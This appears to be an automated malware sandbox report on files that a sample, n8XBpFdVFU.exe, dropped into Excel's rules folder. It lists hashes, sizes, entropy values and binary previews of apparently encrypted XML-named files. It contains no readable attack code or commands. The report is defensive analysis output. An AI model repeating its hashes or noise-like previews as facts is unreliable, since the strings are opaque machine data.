Preview:	<?xmlh~}...v.../...O.D.g-..`.g.....D.$8..I..j[vi..+?{.mwxW%..P_........k\|cLO.\|.,p..l.@J.......N#.oJPTzKh..Y...-...[.u.6>).!%..?...s.j....r.N.H7....5...R7.p..K.w...n...^2k]...m...)[b.V.0..AlB{.(b....f.?A/osAJ......}'^a.).x..6P3qe..s...%...2..o..3L.#..p.DO.....u.4...'FA5.DF`...H....\.Qy5q..<...'.6]..r...%7\Y......H..e8....J`..d.bcq"$\|`..>b...\.....a ... .&....e;.m.%.s..4..EZ:5.j..G....1.."m5...~...w...\|HE.8Y...HJ...$/....B...].5.z.P&aD..F.mE....\|.T....X>~...-.k...z...V..S..D.o.u...r..-._....A.UC^B^.*.W.c6...........J.c.O.71.@&.=)5...a...k2\|.$..?..D....O.1.Z4_.....t........E).........\|.p.......SBql#&j-.x.%..A"[......YQ.......`..3.5L..x..^........7 .5.a..].+..3LM......N.....B.x.O..i..{.hY..-..3I.....J.v5..$..q.!...3......G.S....xfH...}..&.(.W..N>"..+pu..\..%..B.^...A<3.....+....\v.lZ].A.&...>. .f`....E.&R.....1B.O_ok....~......@..y..zc....zW9...7.;-..,........#^.3...K:-.....v....@PZ..Zx..E..U....+'.DMA3.t.......... g.0U.fI...Q{.?. ...M.+f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.918902919344803
Encrypted:	false
SSDEEP:	48:cH8IdGHAmB2/R87PTuHKnZ447IyWIVISjLU+yOY88is3lodJr5dszYdHXWcD:cHdeA22C77uHaZzLa+LU7OY88L3lodJh
MD5:	4F816FBE3C8EDFC18762E5CE78BB350A
SHA1:	FC0F076ED93FD18727EE3A1D2ABF973F5B545CD5
SHA-256:	ECE6609EE90270E02BBD172495C60B1FE7DA8DEB4205DA0CF6D1D0D090D021EC
SHA-512:	41EE0C0C23DD2E4C4660A9E718B67F5F6455ADD712DCD81BBD28E7099AD4F0FCF49DC47BCB73043CC36E5C016B1D180EFDBC8BAB5C34E8E64F8707470F1CFA5F
Malicious:	false
Preview:	<?xml.?..0..5.t...PG..p....Y.S_.A.{....L.]@....s..t.LN~...T...."z.....Vr..0...[...G.{.%.b....9.........>}.l..,.@.&&.=S4GU.....%,........eix?....q.......f.Z,..h.....[..Z.q..m...G..2)..Oq..lZ.._..p.U+d.4..J.vK7...t.=Q..h.+6f.E..5..+. Z.LK.9..lsx....v2N......+\|".C.SX.K.......7.:..W(.....(......m..2...5.....8`.........:62..y.$...t.5...@...K.m%.....8..0.......bI.."Z. ...t...k.'J.XGK......q..UI...wcf...r.[(.BC...L...E=.9.U0(d.&8%.....7..6F..s8W_.rLK.?........j.k1....F:M....%....h....x.,.....b....Yj{.{.dS.53g).$<k...Q....<...0.R..ws......(...W..T..g..%bpt&....G!....qR+...+L..(........K!........E.{...9U.j.....K...b^..uQ\...V....1.^X..\|.W.@.j$dm..6'xT.<..V..k....a........Uhn..a....w..D0..<^.o..2..........v.....pov.l.H.3$.DZs.u3.t....bJ........xl..,Q._...v.A......`.U...X........3..~.rX..xJ.....S...&.....PH?..A.X..e...T....\0..U.Ec..hQuU'.......E{s...W~...A....<....nv.U.o.}D{e....m..B.....G.k...g2M..J..j.`O.[C\|?gl.u...B.._.ZH..$"..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.838850422558284
Encrypted:	false
SSDEEP:	24:Kg3JOaOVZ58VMijrbrvtdDR8V4M+A43C5LEiMGa4Vy7KibD:Kg34arXrbrbCVxb4S5Xa4VXwD
MD5:	49C6965EC2B45EABA9CA970CDCE95C55
SHA1:	AB1EB7CC1AB9A87F5837795059B25DDC441E2160
SHA-256:	E32BAE7F26DAA90849C5D72A99D11B1008BDA1C7F3DBF280FA21DF56B7C59B2E
SHA-512:	859BC555F7E603D30DD0851B90687C8FACAA408B25E27CA6A4D53D850033E2E3ED8829980934332484292A2D38C55996A9288722FB9F9CBAB3CBB62AB25AFAA3
Malicious:	false
Preview:	<?xml.E'hTO.>.S..sK.Z.i.(cQ...q1U=..\|G..c..cC...]......_......AN.#1........f;O...........EG..h.63......=.8..B..-....-...I..../j;.H.....~.b.x.....O..O.......K_.....:...w..h....l...y.M.............1..........%....5..e.jo.uN....\y9..J@\.r`J..!.X/.0..j..WOmh...Q..........~....1C:.(...}v....\|.`...Qz(:.~.:1..........?....y(..lLF.q.z,1.@..>....XA3..^....9..d.,?A.............c_.-.%.. .I.s.....,..d....j.....dd.E0...SfB2.n..=4..[...9/........{.kQl.6Y.0..t.i\|%....LS.+.^,.F....f.Ij$..tF..f..2..r..}S..&.u.CE.o$...7...6...#.../'..~w.K..:@..z2d.....)q...r.!....Tr....,T@m.Z.#........t7..Z.....pO..C.D.Q.o..............(.-0K..K(\..N.?G...J..j8...[.xN.i..N.l.....u!>S....%9.....ZL#...#h.!...3...-...d...W3pp"G..L..........\.%7 ..1..m.Xm......N.v..z'.H(..=A.../LI. ....".;v.;.0,..#`..6..]..q$!.}..............6........5....LS;5...$..Q&..(.n.*.Z....q.....}. Hr...rK.:.g....e;..V,n..S...B.fZ..l.T..M.z....BBS.{....?$..I&<........D......-.u`E.B..@..7Q.a?.\|J.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.772809627634523
Encrypted:	false
SSDEEP:	24:GNVDXUs78KENnL8ajkdZKiT3kmvjN3oLi81uibD:GNVDz8xl3AdkuUmW+8gwD
MD5:	F3364F3C144BE10538063EC6366C1103
SHA1:	1E901FD763A8630E572F46C3109211CFFC0C7EEF
SHA-256:	17D1263B47F76B5D739E7B0AAD54E8C7776D4A56ECB6DA418A4D77792D271C20
SHA-512:	91F49952DB7EB3FC9675996F0AF85C414721C0EEBED93D6802CD2FE0A1C5CBF7EC457117E61E1E56593A037400F46E8A9158A1DC391F94C585E260A8819D46BB
Malicious:	false
Preview:	<?xml..b.....G.........~s.{.....u.ljJ..t.IB... m....u.Z.?....}.#...ZlaO..R.......W..\|....sa3Mf.s.z.9`.....uM...a.)...R..Z..]Q.V......u.j...F.:.(eWD....D.F.............}.*LLM"?h..+j..i.^.....3..a..Q......4.......).U..i.(.d..?@.....(0#.b.17ws.w.T..".....`.{,..j..{..\|..R.....a..~..:"......:...?"....k...0.K&-."W.W8_Z.(.j..h..f,...........Y2x...(.n.;..!E..\..{.v..X.QVF.24q.c..O......}...}...-.[p..m............SWC...Vk....{....En..O..x.b]............f....!......?YD....,....&)...kV.W#...."..Bkj<..2.........{?..T4v'.q..X...7AK"R3.....5..J.........X'z4$"......6U...I.A2{@..k...x./.Pg...87......qVP.....5.B...._..8)w...iF..8...........w....::.@...u.i"...X..e.t.6..ch?......k.../....p.........v..eF..}..a.c.._.B.)z.sI.}.E~4W'..8.Qj.A ......aT.......zf.....\|.k...r.........Ge .A...7.O...q.....N.:..I...@3...C..=..'i.3..wWT].SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.8459249817642815
Encrypted:	false
SSDEEP:	24:P4M8YEB9dUcObsq8Bsp9HZcrh9ahHMreNC08QVK/m6voMpO79KcfEFUbD:wM8YELxObCsirhwdMrek08BmStk1fc+D
MD5:	3E53CA58119E5E296A88EB7392D68081
SHA1:	3BF1B9BB70256F05640C0F8A9710DA8E1CAFCEF7
SHA-256:	A3E3291391282808949494B67B112BB7B35E4B585808E658CAC02872C914269D
SHA-512:	77DE808B06F538AEE8C7404DC686D2D104E94F34F21A113241A2D51789EA0303927E87E8C5BBCD649B7D69B0B77AB6D7155634EF35341D5FCFAD3C3767B36FA9
Malicious:	false
Preview:	<?xml.........Q...1_8...B.y'.1x.R.OVc.......y.\..h\|..j........<.;...G..g...L{.......!...p.....h..,4..zB4......~......gwm.Q..T...^;j....^.aJ.......w..j!..di...j..BbR....i.5a......#.V"...=......7.w.m..^....?V....`..]..y..cG.&.t...?;X..f..7...z..8..y,.>....K4..Pe.Re.X..7..r...z/p.h..Q.:.....R.g.n.#A..c...>E.".x.......Z\E\|..}.L.!..7..=u...Z......b.99...jQ.mO.jQ-..p' G$5\|J..!.2....3[...E.......A^G..{.$#$mEb........ ...(uj.Vie./.>...ZgGK..}n..&..6..........hFb.....1.J......T+..N..?...C.@.x...f..q....N...Z......_..,.:6..m........r.Nlc}.`:F d.[ ....%.=Q.P_}=..m^..ip.<....E..(.].z...w>.?....a..~4..$H.u6v.......T.X.-..VB).[q..I...n..............@p..J.y..^$..(.H...-Bq.s....h........j..5.....7....R.....@O...U.M...Z...=.a...}..w..T....{M.y.F<...6:2../.aJ\|...W..6...LB...C......{...OV-Us....5..vZ.....SG.v.....N.?..I.h..kJ..'.u.0.J.2.....8R@.X..et.sw.U.o..~<..h_'.......b\|.GEA...s9eI.Y..{....l#.'Q5\|..\...... ....U.......yM....6.0.}.{i.[&.....o..?..%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.832614818555604
Encrypted:	false
SSDEEP:	24:YHnizU2VrGFnmT43dXh0UU4T0AEgPxwnZA4sMUkAT1cJd2KPbD:EnY9VromstRHzAAEYuS4FAT1cT2OD
MD5:	402D97953B2CC9A83AB42E922672010C
SHA1:	9F93BBC272DCD4F08725688C09636904EA2C45FB
SHA-256:	65F4D586834F1BD14410E1A446FFCAB9C7F367A4CA9B8A68DF880A2A8F0126EB
SHA-512:	2EC729498B1B2425E0919D374831E097C7C7A29E0AACE2DAF86FFAC34C5D1419EB109DED30C889C8CE527B8A990BC4A69AC30617E0E227AA85371E92BF1D2FA0
Malicious:	false
Preview:	<?xml%..OK..8d.V..r..A...../...kLp..;$..?.U...u..<:_....hm?...2=u...........'..3g..f....{y/l9'gZ..P.....X.P...G..f..=.h...........#.."...Wn...3..........I.....".W...?...,.8J....7.....a....~,..%-Q.e.,.0..@6.^..r...`d.h.6f...C...E..j......G...tK..B....9........Fu....\z..D.#.n.v...q..=O....;q\|...0.e.)Zu.m[Qk.*y......!5..C.....\...G........../..C...w.......i8....#..}.c(..#..s.RE....&....z.I.&...{...c.....q...#...VB..L..+......,@&..&..\|.\..T6u...I{.)?fM../...{>.....G...k}..\_....~.\|.S...B5f...sp...i.........".4...U.........G.X^....hg......).[.>..h3.z[?Z..ss...B.U....~.k..@..K....\.4..Z`.#.......L......M.].&.oE.`.Vm.<...M....X.;.?;\|D.rf'N.D.z..RE.IQP...x....W...H..\|..=.../.G..X.ZV.]g,....<.....;s\..&".v4.R.(...`..q...j..]9,6.......o=......sd.._......F.......!.......Q&..Z%^...s.Z(v.....I.6.T.PN{..n.~...Q.B..5..k:Z.)...t&K....(L..].F....h.EY7_v.V..H...S.!4.G..8.6.O.#..O3...Z.+.Xbz..po~An..CX.......P(iBm..;.%OzNC.....b.......G3..#!z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.938545921276057
Encrypted:	false
SSDEEP:	48:BGDgMc09Vi08RABLZqueFi7nhd1mhsIZOBLR0r/2ArzY7msTsETlxdxgD:BGDL19cTiZvhPMsIAv0r/tHUmsTF8
MD5:	F3CA71C317F64223D5171B2BD87D84B6
SHA1:	EAF2FDBF42CD7C2BD43A1CFA744FC2CF17B7C2E5
SHA-256:	BB080076878C2013C021E3DE7834675D18ECE656A0319B2B45129D4E4F687D85
SHA-512:	5C0B5340D63B2C22FDECB70D14B0AF0A48F623FE85F61B86E5726995E50578296720EC21C889AB91884C5D65DCE5C88C268353C3C7462FA8DCB8FBB06442AA0C
Malicious:	false
Preview:	<?xml.sD..tnc.....!.....a.._N.....-^......S..55".4A.ROy..kT...0.F.%.6!../.......X(%dX.2)...@=;.O.9.d..CO....=.L.d#./..^........c...<.i\.s..K.].#w..].#...M...\iM..M\..>r....R...J.f.n...........K..8.\|W...@..^z......>Q.....8H<.QE..+9..4...T4,\|c...Z.`..-.G..!^.4..n...j(K..(....\.l...$'.=R...?0.&X..;=.W.t/.?....?W.AS=RL'ulo.a.8?.O..j....(.....9.<.2..;.\...( .2..d..uN.:k4v...d.][K.U_..M.`.S.y..2....D.8.N..6Ih..Y.!F..q....p....c1..j.Rr.2..}`.otu...I.._...&..n.s....>l.y.....N....{.w..K..j....p.....[.'..^..}D.FP..e+<.^.....k'..3.Q..5..@..".6..:...b....(...p.FzsC.\|.n....^...p..~..=.9,i......m....n.....;.F.6-...l.....l.....!....8...2....}. ...7...h.=."....Y...93....J.....(...H..^.o..^hcu^...Q.K.P.....k.\]......D......R(A.uf.R.1.p.V~.#...1...e...(....P'.&..oSu.wk./.mm...!..;]....V...G+.JV.~.........$]]..;..E....5F..'...WJ.....^.JIa.Vq?..<....p-x........q=5.)..ug.=\|..Ul.7..x .5oM..Q..S0.,...N....H.)6@....UR/.u......L..?..\..A."^~.Gas...2J@.B..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.907890134088485
Encrypted:	false
SSDEEP:	48:ZGmBhdzp1M8m/MsOctbL2r++LABEAPUDSwR/oMkU0D:ZVRs/MsOctbL2r++cCAPU2wuUg
MD5:	5BB0160220C654D394AA494123CD9169
SHA1:	57700F2514F8CEF9BFDC84AD055DC1B5349B0202
SHA-256:	AFDEE7D1240061AA3E6BFEB63967FA78ADF072CE19B9AF099093034E72859A2F
SHA-512:	484E97CB972F641A6EBE13AE622740100A4AD16C2DDDD1434195BE348C383496DBB6310E2D72699F26C02D366564B412B87FB25B67CFD71CC8FFFBEFD30E98A9
Malicious:	false
Preview:	<?xmli.HHx2.....\.!t...\|..N..mh.c.u ........t.AAq..'>..\|.../:.-...X...mb..f57.#..c1.[[..O/Ach..C.b.....c....7$......0...>7...1.N..!{..U....x.H.....%q#.C..R9......B..im..F........N`.w....O.g._I...\|..}~._..}.cfJy...{..!aY.c......N...6u...Jp,...D..r.c.Va..eW..a. .........e..0.p.);!.....V....J....&lQ.{3]....L..M....H.@.d.8M.MA..XA.Y]Z.b..\s"...R.p..j........O;J..P........^RtTKD9+.....Q...N..tq.'...K^Erx....!.M].X]..b.M,.]E.>XMCH)......w...s(;.....b...1?@...j.E....%q..h.m........Z..:.p.K.C1..a.....0...I....KNu.44...`..[.9....a...>y..3B.....8)...m.k.......6..=..U.8._..#....4`s.....B..)j..`...pn8....=.6u.....>..j..&.v...=...t.`P........a.,)...6J...(....O}..fn1m.V,_.p.J.....F9.T...^..V.>~..OO...Z...02......t....3..Q.<o.....n..jRg....c5..SV..1qY.t.H.P....u.,.p.F.}B...tP...\|.zk.)@......;h..]...".L........yV8..j(<_(.L.}h..tY9.6["?.d.+..qF. .R.eb0>dk73\......q+.y....}.a.~.k^.....%..\|.3.(1.q8.I9P.b..[.&:[./T._s.N........_...K..X.>GZ5ss._..Z.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.8771372931924395
Encrypted:	false
SSDEEP:	24:TMV2YDVFKW2uLtiiCTNJwW1Kz/E7++E5cvOjDQn5O9GEz10EAbD:4xhs8tgNJN1Kz/0dE6vP5mGmyBD
MD5:	A1E4BCBD2638B79CC186831DF1920075
SHA1:	061D84550FB239B6CD2292F3E1E0D2F2FB59AE6F
SHA-256:	9405348C7C63FE9F85B95443CE0CF89A78D36629437345454F51BB7125B05468
SHA-512:	59A0ABECDA308FFAB9B8164F19ED5CC5B54293417E17B027DDF077B9E5535598F11BF619B1974ABA16AFCBB2D0CA5BF8465A5A8F770E3D0A90F9B2DAF4BE4FB7
Malicious:	false
Preview:	<?xml...Dd.u.B....0Q....9.G..26 D..K..D..'Yc...2.P.2...M..C9.k.yf:.`_4U.O[........NJ........Q...[.H[7.;/.....kx......\....U..nG...;.'..q.V...3.@.#.$w..3.X.}......~.G~@"._7.w.(s&F.X.V..S...S.e..r.......{.C......Wqs.E.+fp..^...O./....O#...B.:.R...XMZ.9?...$.,.@...PN.-In.@......,..c.@.....`....H/#.s@[..o:?.....\|S...w;LV:.....t....wH....r.\|...U..(..a..U...A..Ka...".;...:[..4.l... .r.<.4m5.D.$.."i_..........~.D....'..'c.,.;^6...."...@..X...>..e.(.%....."fcY..Z....5.894..X.o...9C.Z5..xGl.....R...(<w...#...u.....&...../..(....[.eE.D....j....B..4R...g.lx.....m....[-H..7...PqO.:......1.$..]bK.(4.xU'....E..2..g..R .o .18Rc.....5.\|...3.#i....m..:.....S.Hz..J.>......H.N.......j..'..>%.O..H.D..g...<...i..x....+;..u....j9.$.B.:K....B....:@o...B.t3.........Fy.>A.j..6[...H..S......bv/.n..],.5..d..@z.\sf....v\...S{.P$kw...i...M..rtY.......r.*....J...&..O....V..;.6.m7.2H4...7..8ok]..~y ...W...0...:'..i..R..c^j(.h.hC.I...x.\....z...xK#I...eo..`.i..p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.639107218795677
Encrypted:	false
SSDEEP:	12:C2Rl6+CGJLMTvHGsmBrKM4YZKYPGp/MNm/iAArCSobu1CZoz8KesYjVM1sc77Ffm:C2rCyLMTvHGsLMmYPc/9rIK5ooK8hMDI
MD5:	7F2D5D5E96B11508DAEAAA4F43373E8C
SHA1:	673B13504BDDB001E26845BA4D6CB0FABF539A0B
SHA-256:	C2B2F28A5473D6FF68A7A2E48FD1A8AE2B61A0FF34C3061460569A3FE4CBC3EE
SHA-512:	DFBC53DF36A2253036FACAB90B41FF79C17DF8124DA493395D7CA11B372079D642F041257218FF977BA8E34809978D18F1A845CF7F0587ACD8DCA412412A8DC3
Malicious:	false
Preview:	<?xml..Z{....2k...6.Sdv..@........w...T.C6S.W.w..W.L.T#K....m.......l..}.7."D...j.X.........%..E...`...........vk.$..B......w.^.6gy.IE.8.<......b[.[o KB.OuO$..........Is...s$..3\|.u.\|l'....:0.x@K.m..S.K..M...N.gp.S.cc..$^S........\q..#.<..!...Qm..o k.E. a.H.....\|.y.-.".q..5]........)........{.....n-.O...[.5.zr..6o.y#..c[IY.x..{n..t.6t=.&.?.[#....s....."..P....._...8:4...{../I..T....n).Q1'.xp}75..ez2.G...Sc.6.e]=.I1h.y.....p..)b:.......O.g-.Y...8...c....]`.)....H..g_..p...H...<n.b...)?.(U.JM=x.qL..bd.;..h.gY...7..U=J@...0.?W@..d*_m.V:.\|..T.B...1#BJ..w.V.....'./...(.....Y.,.X .._..'......)V....6wMZ=?E.#u../..-.J.$V...-Cs.v..[:\..O_..g...o.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.8751266818687595
Encrypted:	false
SSDEEP:	24:YU1cgnkilLhe+2eBpbaH7Mm6t2OBclaepWG+m3r5gVwRt+yZ+2d6wO3FWKUbD:oviRnBNagR1Wlae4hm3r5DX+ytkwO1qD
MD5:	466397696D2715441D4B5529F57E3327
SHA1:	88D722DED63E2CFADCC0B06E63ABDA5CC4CBDFB7
SHA-256:	A6A3550475A9AF37415E67D43B50467776F4C089162FFD5CBD5D4799C99FD3FA
SHA-512:	A768FEC020E7AE9458DBDCBBAEEA1979A09E804CD7CE5CB5E0D8647B4B68BAFF83D3FF752A2D90E6AAF9D1CC0A25DC3241D77C248AC5228C55174629A01534D2
Malicious:	false
Preview:	<?xml%\|.y6{bc.i.p.{...h..s....p~t.6......w..4.,.....-.B..H..3{C..Z.f...(P.u.)...,\^.:.....vh.....8...I.V..8.1P.n/.]0.3.}..Ga.c.A.^...l.7.;..XL.j...H.......&.,.U..@>..2.Z...X~s.v......f...x.z..I.HRs..]....U."f...)l.] ..'..J...).....u...a........d.7.4....Wn.......?.Z......AB.~F-E..8...A..Z.K.3...=. ..)0.l......D..".am..S."...1..B\|c..%.f}.....\|n`.2.\.+\|.\|.[....~v..G......4....,.=s?.....t..F....m..i...@....x...+f ..z.k..p..T...26......)@UqY.....u..b.]t..-...e++........>k...z.>z.J.....F......H...G.........\|.c..O......o$.?.......V...C....7..'....d.<.........f...$.....;....X...oK..i.\|....r.../.....U.....6.U.7.P..$.Q.+...`@....m..:...\J._"Vr..g.....N...b.@..0IU.j.3^\|b.~Q?........Z1.z=.TE.....:..'......."...R.~.v'.#g..MY.chY3.......6uo..5. .....f....u.....V. E...#fJ..LC.+9..5....]...Y....Z.~.7.S.L.A.OH.V....E....2.........8.....]....c..D.M.DhN.KF.....W.U.......t..:.3.o...F...Q.@...g_....9!IT....~k+.6...5..c.>.....,N%r...!Fu......kN.X.."T..U.sO)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.723046597511963
Encrypted:	false
SSDEEP:	12:AsUgd0U8vIR/B+/wG4zKBTewh2B6OPeVIWyqXUnZMgODjfNZUwA7H1+cii9a:AFY0Opk/z4KBTjh2xr4UnZM9fNuD7UbD
MD5:	ACA2D3BF4495D54F07CBF2560239C0CA
SHA1:	74598018843764A60B1A37DFDBDED85045E3BFF6
SHA-256:	6FBC9032FAD137E880963553E33E5C2D7C2964592E86280D15CE70E39B9E51B6
SHA-512:	A348E5E52BB8F61371209C488E17FF20360376C924E191E252E85438640CCE4B9D8B65BE6AF0F3FB607F3AD816DAB7A304D81FB3C2C0AD33205E8E1F1E154D77
Malicious:	false
Preview:	<?xml.2.....&...Q..F..T....W..RD2..m..t.L...F...q....l.W.....'.":$.....-."..I.K...f'.DPiF..V...g..Uw..&..(.Co...i...]...R....F.hsHB.B].[.G9..@...m..r..7\|.Kb..P.6K.F.d..0.tP.$T,...D.......d.#/...Q...%.....p...O..}..s..?f./._...z.....}pJ..Lk~...q\....o..........M.d....!I...I.U.#..^...R.... .)J.6..@..X........G.DsC(?\...d..Y.Q..m...L..:..}u,S.>.A...Y....4..}..........>n.T@...d..........L6..N...e....Z@...W..3Ks.oL\q.W..............)s57a..+.....i...^.....>.....X...{.....R...9k.....W.#.j..~...d*......g.Vf..?e..1.Km.g.K......a.".i.=.s..&]..z.T>w7....(.Fr1...uqMv..Z[...O<......E .....+.......<.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.825020751826299
Encrypted:	false
SSDEEP:	24:uR6gkmIM0lbRHryFWqHf+ivRfQ2esitVxpiIkvoOAPhaCEPyY5bD:uRRn0/HW/65JtT2v0vUyiD
MD5:	3522A53C5B0C5FA0EEC81C7FB5B9D228
SHA1:	1B79268CBAE298D203C5328EBDD1E36D47EDF851
SHA-256:	537AA3F9B0ADC4179265306CDF03B9F94E9F3ED8B0D65059BFD4CA8051CBE3B4
SHA-512:	E08FEBF96614D78DA1361424CFA2D27D3B3A0CA0B61CA952D3AAA6EB987D303F1B01C815D9FEA117561E63A8263B16097FB301FD7DF4601465444AA234228D8A
Malicious:	false
Preview:	<?xmly.!T.o..-..BbU.~.."....eY...O]..x.%Q..~'..g...c....".tP.%..."..G3...\X.."`;....}...z..f......<5'n.......KG~.....Ha.;..LE.>'.q.[j.4.u..]'..Ob...9.?bGP......c.;...q8......~4gl@8r.........5..C.r...=..p.Q..h.iY@.OV.W9...._.r...\|l...re.?A.t...O..^.1.@.k..Q(...!.2.....m'x9^su@l...Y.v....W......_..m{..V.....6V.....^~.=.`...K./..C.[v.W..3...\|a..xKM...deF..wc5-5b._J.}.....5.&SS..H.o.....@.}..J....\|...-.i.49.i..Y.w.N......F?%(z.{:..2dR{Y.6...(9.].......oQ......_.ycc"ns.[...2{0. T..'..[5.......w.]....7..!..s....'..'...>."..\.<.oG.P....k......Z!...a..~.u..".K.s .....m^B.u'..l...o5...g.h.,i..r.m....}.....+..3X.R3..>1.\.wl...B..0.;r.....H4..6.k..m.^b.s.{.,f..........+..?..r.......i.j...b#d..f..%}9...P.......\|d=.5.P.LB.]l.%.l.J..U.B.@.S*.f.%...[..1.=)TcR..m....#..d._.e.Q.'i..c.......D.`Of...#?k=...N3....j..@F..4.%..3.).......7H...Z...].YlN...,..!fOK.....v.Mqu...h..J.m..6....t......~..n...mdx20..rFRqB..K.../.Y...TN.4A.1..zL.....\......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.7293828623267675
Encrypted:	false
SSDEEP:	12:TODG8tDd6CRwPemxnTsvJE4fX9TYqtgthBHKJV3/5eHWFS51+cii9a:aDhZXRwWw4S8NTYqwh+/OISybD
MD5:	B2E6384F68F0132447639C8CCBD2D853
SHA1:	9BC3ADE11DE4A54B4384AAF50331E3B89260B6B1
SHA-256:	6887409AC17984F5DE5A35408C79F3B593418688C789BAD79EFB57DC6448347F
SHA-512:	0BA4E3DDB9AF2E7F9CF39B55B8184AADA383D4DE56ED28202E5A85FDEF9639334F6AB565D9A886B7F171FB8191BACD78838044EF1B5F6CE95D6AFB10F459CBCB
Malicious:	false
Preview:	<?xml......?.=..r..[.c...0.'.._..u.n..)tU.(l...W.{W...z...L.U. \.U.t...w<.I.t...i..c!.."#.e...........0..Fe....../..z.&V.aVN."r;s..l....`.oV...k.L .......1.d.#.'..~.1...V.....w~.q~.!w.`..$....~!T..A...f..X.jv..R.g....m.yDu..%vnVAg.cY...x>..%.Y..P.m{.V.)..Ky.iA.Z........r.Ap9fx.Er..h......C.H. .O..4.....6......V..g..v/..B.W..H...6.3UJ......v.3.....:..GObrT%4...8......i.\|....R..j...G.m.9m^...;....0@..2..$..3...+"..TU.......gd...T.?@I..W.T":W...c..p.3..7..3p...{+..B..}.......=U.E.....P..{\|......~.l.k....c.c.SuSY..K4F;.....3...9d......<..>...ufl...y......9.8^z.M..G.....r..^M...&........h?A.f........u..!G...].,.....4.<..\....v@.....7{..}SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.791044830590777
Encrypted:	false
SSDEEP:	24:V+tvfviuXbKVi9VBuIbnlA34QQ4D+8q6h9ZN3jbD:V+xCuXbK89VBln+zlN33D
MD5:	24CD62A914E60FE6B032EB523B98AFA6
SHA1:	4EB55EC5666C650EA26434BD0508B9E4532F2B63
SHA-256:	DBF82287C4018CED8E1437483BD5B7B5982A1987AA03FDC5E97FDED5AF3DDACC
SHA-512:	646F96A4234916D081E0CA3454B6D665AC921C367A563BF9602C50E4113A58E25682F579780B805F2794D7D7186016E1660DAF65DD25EA59960581318284D074
Malicious:	false
Preview:	<?xml....\.;.....?r..a 